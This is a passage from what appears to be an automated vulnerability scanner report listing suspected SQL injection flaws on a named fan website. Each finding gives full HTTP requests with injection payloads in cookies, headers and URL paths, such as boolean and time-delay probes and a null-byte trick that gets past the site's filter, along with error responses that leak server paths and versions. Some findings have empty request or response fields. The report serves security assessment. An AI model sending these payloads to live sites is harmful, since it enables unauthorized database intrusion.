<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.59. http://fanpeeps.com/ncaa2.php [__utmz cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/ncaa2.php

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /ncaa2.php HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)'%20and%201%3d1--%20; PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:44:08 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17272

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.60. http://fanpeeps.com/ncaa2.php [__utmz cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/ncaa2.php

Issue detail

The __utmz cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the __utmz cookie, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

Request 1

GET /ncaa2.php HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)%00'; PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 1

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:47:07 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17507

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

Request 2

GET /ncaa2.php HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)%00''; PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 2

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:47:08 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 50565

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...

1.61. http://fanpeeps.com/ncaa2.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/ncaa2.php

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payload waitfor%20delay'0%3a0%3a20'-- was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /ncaa2.php?1waitfor%20delay'0%3a0%3a20'--=1 HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:46:14 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 18110

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.62. http://fanpeeps.com/thumbnailviewer.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/thumbnailviewer.css

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload ')waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 1, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /thumbnailviewer.css')waitfor%20delay'0%3a0%3a20'-- HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:46:26 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17397

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.63. http://fanpeeps.com/thumbnailviewer.css [Referer HTTP header] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/thumbnailviewer.css

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses. There is probably no need to perform a second URL-decode of the value of the Referer HTTP header as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /thumbnailviewer.css HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;
Referer: http://www.google.com/search?hl=en&q=%2527

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:46:17 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17370

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

Request 2

Response 2

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:46:17 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 45737

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...

1.64. http://fanpeeps.com/thumbnailviewer.css [__utma cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/thumbnailviewer.css

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /thumbnailviewer.css HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2'waitfor%20delay'0%3a0%3a20'--; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

1.65. http://fanpeeps.com/thumbnailviewer.css [__utmb cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/thumbnailviewer.css

Issue detail

The __utmb cookie appears to be vulnerable to SQL injection attacks. The payload %00' was submitted in the __utmb cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

Request

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:44:43 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17138

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.66. http://fanpeeps.com/thumbnailviewer.css [__utmc cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/thumbnailviewer.css

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

Response 1

Request 2

Response 2

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:44:26 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 45737

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...

1.67. http://fanpeeps.com/thumbnailviewer.css [__utmz cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/thumbnailviewer.css

Issue detail

The __utmz cookie appears to be vulnerable to SQL injection attacks. The payload ',0)waitfor%20delay'0%3a0%3a20'-- was submitted in the __utmz cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /thumbnailviewer.css HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)',0)waitfor%20delay'0%3a0%3a20'--; PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:43:52 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 18100

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.68. http://fanpeeps.com/thumbnailviewer.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/thumbnailviewer.js

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 1, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /thumbnailviewer.js' HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:46:32 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17281

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.69. http://fanpeeps.com/thumbnailviewer.js [Referer HTTP header] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/thumbnailviewer.js

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /thumbnailviewer.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;
Referer: http://www.google.com/search?hl=en&q="

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:46:32 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17392

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.70. http://fanpeeps.com/thumbnailviewer.js [__utma cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/thumbnailviewer.js

Issue detail

The __utma cookie appears to be vulnerable to SQL injection attacks. The payload '%20and%201%3d1--%20 was submitted in the __utma cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /thumbnailviewer.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2'%20and%201%3d1--%20; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:44:10 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17345

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.71. http://fanpeeps.com/thumbnailviewer.js [__utmc cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/thumbnailviewer.js

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:44:19 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17299

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.72. http://fanpeeps.com/thumbnailviewer.js [__utmz cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/thumbnailviewer.js

Issue detail

The __utmz cookie appears to be vulnerable to SQL injection attacks. The payload ',0,0)waitfor%20delay'0%3a0%3a20'-- was submitted in the __utmz cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /thumbnailviewer.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)',0,0)waitfor%20delay'0%3a0%3a20'--; PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:47:37 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17299

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.73. http://fanpeeps.com/thumbnailviewer.js [__utmz cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/thumbnailviewer.js

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /thumbnailviewer.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)'; PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:43:51 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 18151

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

Request 2

GET /thumbnailviewer.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)''; PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 2

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:43:51 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 45737

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...

1.74. http://fanpeeps.com/twitterlib.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/twitterlib.js

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload 17071916'%20or%201%3d1--%20 was submitted in the REST URL parameter 1, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /twitterlib.js17071916'%20or%201%3d1--%20 HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:46:51 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17399

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.75. http://fanpeeps.com/twitterlib.js [Referer HTTP header] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/twitterlib.js

Issue detail

The Referer HTTP header appears to be vulnerable to SQL injection attacks. The payload 14321639'%20or%201%3d1--%20 was submitted in the Referer HTTP header, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /twitterlib.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;
Referer: http://www.google.com/search?hl=en&q=14321639'%20or%201%3d1--%20

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:46:40 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17419

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.76. http://fanpeeps.com/twitterlib.js [User-Agent HTTP header] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
